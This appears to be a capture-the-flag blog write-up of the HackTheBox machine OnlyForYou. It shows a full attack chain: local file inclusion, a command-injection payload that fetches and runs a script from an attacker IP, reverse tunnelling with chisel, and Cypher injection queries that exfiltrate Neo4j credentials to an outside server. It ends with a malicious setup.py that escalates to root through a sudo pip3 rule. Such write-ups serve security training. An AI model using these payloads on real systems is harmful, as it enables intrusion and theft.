Home HackTheBox - OnlyForYou
Post
Cancel

HackTheBox - OnlyForYou

This machine starts off with a homepage for a consultancy firm. This website looks like a one-pager with mostly static content. There is a contact form that might be interesting later on.

Homepage

Reconnaissance

In the F.A.Q section, we can find a link to their beta page (beta.onlyforyou.htb).

Homepage-beta

This site contains a resize and convert page to resize or convert .jpg or .png images and a page where you can download the source code

Beta

Resize

Convert

When looking through the source code we notice that the /download endpoint has a local file inclusion vulnerability. The code only checks for relative paths via ../, this can be bypassed by using the absolute path of the file we want to view.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

We can send a request with Burp to view /etc/passwd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /download HTTP/1.1
Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://beta.only4you.htb
Connection: close
Referer: http://beta.only4you.htb/list
Upgrade-Insecure-Requests: 1

image=/etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Apr 2023 20:06:49 GMT
Content-Type: application/octet-stream

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
john:x:1000:1000:john:/home/john:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
fwupd-refresh:x:114:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:996:996::/var/log/laurel:/bin/false

We can use Burp intruder in combination with Seclist’s LFI Fuzzing. We have an interesting hit for /etc/nginx/nginx.conf.

nginx.conf

1
image=/etc/nginx/nginx.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 24 Apr 2023 07:34:04 GMT
Content-Type: application/octet-stream
Content-Length: 1490
Connection: close
Content-Disposition: attachment; filename=nginx.conf

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {

	##
	# Basic Settings
	##

	sendfile on;
	tcp_nopush on;
	tcp_nodelay on;
	keepalive_timeout 65;
	types_hash_max_size 2048;
	# server_tokens off;

	# server_names_hash_bucket_size 64;
	# server_name_in_redirect off;

	include /etc/nginx/mime.types;
	default_type application/octet-stream;

	##
	# SSL Settings
	##

	ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
	ssl_prefer_server_ciphers on;

	##
	# Logging Settings
	##

	access_log /var/log/nginx/access.log;
	error_log /var/log/nginx/error.log;

	##
	# Gzip Settings
	##

	gzip on;

	# gzip_vary on;
	# gzip_proxied any;
	# gzip_comp_level 6;
	# gzip_buffers 16 8k;
	# gzip_http_version 1.1;
	# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

	##
	# Virtual Host Configs
	##

	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}

Nginx error logs

We see the location of the error.log, we can send a request to read that file to gather more information.

1
image=/var/log/nginx/error.log
1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)

2023/04/24 01:00:28 [error] 1036#1036: *484 upstream prematurely closed connection while reading response header from upstream, client: 10.10.14.66, server: only4you.htb, request: "POST / HTTP/1.1", upstream: "http://unix:/var/www/only4you.htb/only4you.sock:/", host: "only4you.htb", referrer: "http://only4you.htb/"
2023/04/24 01:00:58 [error] 1036#1036: *488 upstream prematurely closed connection while reading response header from upstream, client: 10.10.14.228, server: only4you.htb, request: "POST / HTTP/1.1", upstream: "http://unix:/var/www/only4you.htb/only4you.sock:/", host: "only4you.htb"
2023/04/24 01:25:20 [error] 1036#1036: *492 upstream prematurely closed connection while reading response header from upstream, client: 10.10.14.228, server: only4you.htb, request: "POST / HTTP/1.1", upstream: "http://unix:/var/www/only4you.htb/only4you.sock:/", host: "only4you.htb"
2023/04/24 01:30:04 [error] 1036#1036: *494 upstream prematurely closed connection while reading response header from upstream, client: 10.10.14.228, server: only4you.htb, request: "POST / HTTP/1.1", upstream: "http://unix:/var/www/only4you.htb/only4you.sock:/", host: "only4you.htb"

Only4you installation directory

We have found the installation directory of the main website, we can now fuzz to get the source code and to look for a vulnerability we can leverage.

1
image=/var/www/only4you.htb/app.py

When looking at the source code, we can see the contact form uses form.sendmessage().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

When looking at the form.py code, we see there is a method issecure that uses regex validation on the email field. We also see the code performs a Domain Name System (DNS) lookup using the dig command to retrieve the SPF record for the email domain. The run function is called with the shell=True parameter which allows the execution of shell commands.

The regular expression you provided is designed to match a valid email address that consists of alphanumeric characters, dots, hyphens, and underscores. However, the regular expression as written does not explicitly allow spaces, so it may match email addresses with spaces in them.

1
image=/var/www/only4you.htb/form.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1
		else:
			domains = []
			ips = []
			if "include:" in output:
				dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
				dms.pop(0)
				for domain in dms:
					domains.append(domain)
				while True:
					for domain in domains:
						result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
						output = result.stdout.decode('utf-8')
						if "include:" in output:
							dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
							domains.clear()
							for domain in dms:
								domains.append(domain)
						elif "ip4:" in output:
							ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
							ipaddresses.pop(0)
							for i in ipaddresses:
								ips.append(i)
						else:
							pass
					break
			elif "ip4" in output:
				ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
				ipaddresses.pop(0)
				for i in ipaddresses:
					ips.append(i)
			else:
				return 1
		for i in ips:
			if ip == i:
				return 2
			elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
				return 2
			else:
				return 1

def sendmessage(email, subject, message, ip):
	status = issecure(email, ip)
	if status == 2:
		msg = EmailMessage()
		msg['From'] = f'{email}'
		msg['To'] = 'info@only4you.htb'
		msg['Subject'] = f'{subject}'
		msg['Message'] = f'{message}'

		smtp = smtplib.SMTP(host='localhost', port=25)
		smtp.send_message(msg)
		smtp.quit()
		return status
	elif status == 1:
		return status
	else:
		return status


Foothold

We can craft a payload to get a reverse shell by using spaces.

1
name=test&email=abc@abc.com; curl 10.10.14.41/script.sh -o /tmp/script.sh|chmod +x /tmp/script.sh|sh /tmp/script.sh&subject=test&message=test

Once we get the shell as www-data, we can look around the system. By running ss -tulw or netstat -tulpn we get all the listening tcp and udp sockets. We notice there is a process running on port 8001.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
john@only4you:/$ ss -tulw
Netid    State     Recv-Q    Send-Q             Local Address:Port           Peer Address:Port    Process    
udp      UNCONN    0         0                  127.0.0.53%lo:domain              0.0.0.0:*                  
udp      UNCONN    0         0                        0.0.0.0:bootpc              0.0.0.0:*                  
tcp      LISTEN    0         2048                   127.0.0.1:8001                0.0.0.0:*                  
tcp      LISTEN    0         70                     127.0.0.1:33060               0.0.0.0:*                  
tcp      LISTEN    0         151                    127.0.0.1:mysql               0.0.0.0:*                  
tcp      LISTEN    0         511                      0.0.0.0:http                0.0.0.0:*                  
tcp      LISTEN    0         4096               127.0.0.53%lo:domain              0.0.0.0:*                  
tcp      LISTEN    0         128                      0.0.0.0:ssh                 0.0.0.0:*                  
tcp      LISTEN    0         4096                   127.0.0.1:3000                0.0.0.0:*                  
tcp      LISTEN    0         4096          [::ffff:127.0.0.1]:7687                      *:*                  
tcp      LISTEN    0         50            [::ffff:127.0.0.1]:7474                      *:*                  
tcp      LISTEN    0         128                         [::]:ssh                    [::]:*                                          -   

We see that neo4j is running on this port, we also saw this user in the /etc/passwd file when doing recon.

Tunnel

We can either use ssh or chisel to set up a tunnel to the victim’s localhost:8001 but we need the ssh password for the ssh tunnel (ssh -L 8001:localhost:8001 user@remote_ip) to work.

We can use chisel to tunnel this port to our machine without the need for an SSH password to access this service through our own browser.

First setup a chisel server:

1
$ chisel server --port 9000 --reverse

Then download chisel to the victim’s machine and setup a chisel client:

1
2
3
4
5
6
7
www-data@only4you:~/only4you.htb$ cd /tmp
cd /tmp
www-data@only4you:/tmp$ ./chisel.1 client 10.10.14.41:9000 R:8001:localhost:8001
<sel.1 client 10.10.14.41:9000 R:8001:localhost:8001
2023/04/24 12:44:35 client: Connecting to ws://10.10.14.41:9000
2023/04/24 12:44:35 client: Connected (Latency 30.328548ms)

Once this is done we can connect to the service via our own browser (http://127.0.0.1:8001/login).

Neo4j

Neo4j is a graph database that stores data as nodes and relationships, and uses the Cypher query language to retrieve and manipulate the data. In short, a relational database is like a spreadsheet while Neo4j is like a social network.

Cypher has a bit of a different terminology than a relational database, what’s most important to us are labels and their keys. Labels are used to group similar nodes together based on their common properties. Keys are used to identify unique nodes or relationships in the graph. Think of labels as similar to table names, and keys as similar to primary keys in a relational database.

neo4j

By using default credentials (admin:admin) we can authenticate.

neo4j-search

After doing some research, we found cypher injection payloads on hacktricks.

Not all payloads seem to work but by enumeration we could find some useful ones. We use Burp to intercept the request and send multiple payload via intruder. We also set up a python server that will catch the exfiltrated data by using LOAD CSV FROM IP_ADDRESS. We add the values of our query as parameters which will then show up once the query does a request to the webserver with these values included.

Getting the version

Query
1
' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.41:80/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
Burp request
1
2
3
4
5
6
7
8
9
10
POST /search HTTP/1.1
Host: localhost:8001
User-Agent: XXX
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

search='+OR+1%3d1+WITH+1+as+a++CALL+dbms.components()+YIELD+name,+versions,+edition+UNWIND+versions+as+version+LOAD+CSV+FROM+'http%3a//10.10.14.64%3a80/%3fversion%3d'+%2b+version+%2b+'%26name%3d'+%2b+name+%2b+'%26edition%3d'+%2b+edition+as+l+RETURN+0+as+_0+//
Output
1
2
3
4
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.210 - - [24/Apr/2023 15:16:02] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [24/Apr/2023 15:16:02] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -

Getting the labels

Query
1
' OR 1=1 WITH 1 as a  CALL  db.labels() yield label LOAD CSV FROM 'http://10.10.14.64:80/?label=' + label as l RETURN 0 as _0 //
Output
1
2
3
4
5
6
7
8
9
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.210 - - [28/Apr/2023 13:54:55] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [28/Apr/2023 13:54:55] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [28/Apr/2023 13:54:55] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [28/Apr/2023 13:54:56] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [28/Apr/2023 13:54:56] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [28/Apr/2023 13:54:56] "GET /?label=employee HTTP/1.1" 200 -

Getting user data

By changing the “Flag” value, in the original hacktricks payload, to the “user” label we found earlier, we can get the values for the user keys.

Query
1
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.41:80/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

This query will select all properties of all nodes labeled “user” in the graph.

  • MATCH (f:user) is matching all nodes labeled “user” and assigning them to the variable “f”.
  • UNWIND keys(f) as p is taking each node “f” and “unwinding” (flattening) its keys (properties), assigning each key to the variable “p”.
  • LOAD CSV FROM 'http://10.10.14.41:80/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 is exfiltrating the data to our server by making a request with the key name (p) and it’s value (f[p]).
Output
1
2
3
4
10.10.11.210 - - [24/Apr/2023 15:23:46] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [24/Apr/2023 15:23:46] "GET /?password=a85e870c05825**REDACTED**4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [24/Apr/2023 15:23:46] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [24/Apr/2023 15:23:46] "GET /?password=8c6976e5b5410**REDACTED**a81f6f2ab448a918 HTTP/1.1" 200 -

This provides a sha256 hash which is pretty easy to crack with any tool. We now have the admin password which we can use to ssh into the john user account.

1
2
3
$ ssh john@10.10.11.210                                
john@only4you:/home/john$ cat user.txt
11**REDACTED**b5

Privilege escalation

When running sudo -l, we can run a command as root without the need of a password that will use pip3 to download and install .tar.gz builds. We can exploit this by uploading our own package, and host it on the localhost repo. This package will then be installed due to the use of the wildcard in the command.

1
2
3
4
5
6
7
8
john@only4you:/home/john$ cd /tmp
john@only4you:/tmp$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

We set up a tunnel with chisel to port 3000.

git-login

We authenticate as “john:Th**ou”.

git-login

We can now make our malicious tar file. We use the example provided in this blog. We add os.system('chmod +s /bin/bash') to add SUID to bash making it so we can execute commands as root.

setup.py is a file that specifies the metadata of a Python package, such as its name, version, author, license, and dependencies. It also specifies the package’s build and installation instructions. When you run pip install or pip download, pip reads the setup.py file to determine how to install or download the package.

By authoring a Python package and including cmdclass in the setup.py, which causes pip to execute the provided command function upon both download and install of the package, the attacker can host the package on a server and use pip download to execute the arbitrary code.

1
$ git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ cat setup.py                                 
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os

def RunCommand():
    print("Hello, p0wnd!")
    os.system('chmod +s /bin/bash')

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

We first have to install the build tools, afterwards we can build the repo

1
2
3
4
5
6
7
$ pip install build
$ python -m build                       
* Creating virtualenv isolated environment...
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)
* Getting build dependencies for sdist...
...
Successfully built this_is_fine_wuzzi-0.0.1.tar.gz and this_is_fine_wuzzi-0.0.1-py3-none-any.whl

Our malicious tar is now located under /dist. We can now do the upload to tunneled local gogs instance.

git-tar

We can now run the sudo command linking to the raw format of our tar file that is hosted on http://127.0.0.1:3000/john/Test/raw/master/.

1
2
3
4
5
6
7
8
9
john@only4you:/tmp$ sudo -u root /usr/bin/pip3 download http\://127.0.0.1\:3000/john/Test/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
  Downloading http://127.0.0.1:3000/john/Test/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
     - 2.8 kB 4.1 MB/s
  Saved ./this_is_fine_wuzzi-0.0.1.tar.gz
Successfully downloaded this-is-fine-wuzzi
john@only4you:/tmp$ bash -p
john@only4you:/tmp# cat /root/root.txt
a15**REDACTED**c5b
This post is licensed under CC BY 4.0 by the author.